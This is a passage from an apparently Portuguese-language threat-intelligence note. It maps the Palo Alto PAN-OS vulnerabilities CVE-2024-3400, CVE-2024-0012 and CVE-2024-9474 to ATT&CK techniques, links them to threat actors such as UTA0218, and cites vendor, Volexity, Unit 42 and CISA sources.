(CVE-2024-3400), web shells PHP (CVE-2024-0012/9474) - [[t1059-command-scripting-interpreter|T1059 - Command and Scripting Interpreter]] - execução via bash/Python pós-comprometimento - [[t1041-exfiltration-c2|T1041 - Exfiltration Over C2 Channel]] - exfiltração de running-config.xml ### Atores e Campanhas Relacionadas - [[g0007-apt28]] - ator de ameaça sofisticado; verificar atribuição em relatórios atualizados - [[g1017-volt-typhoon]] - ator de ameaça com histórico em dispositivos de borda - UTA0218 (rastreado por Volexity) - ator atribuído à Operation MidnightEclipse (CVE-2024-3400); avaliado como China-based com confiança moderada ### Fontes Primárias - Palo Alto Networks Security Advisory: CVE-2024-3400 - https://security.paloaltonetworks.com/CVE-2024-3400 - Palo Alto Networks Security Advisory: CVE-2024-0012 - https://security.paloaltonetworks.com/CVE-2024-0012 - Palo Alto Networks Security Advisory: CVE-2024-9474 - https://security.paloaltonetworks.com/CVE-2024-9474 - Volexity: Zero-Day Exploitation of CVE-2024-3400 - https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-CVE-2024-3400/ - Unit 42 Threat Brief: Operation MidnightEclipse - https://unit42.paloaltonetworks.com/CVE-2024-3400/ - CISA KEV: CVE-2024-3400 (adicionado 12/04/2024), CVE-2024-0012 e CVE-2024-9474 (adicionados 18/11/2024)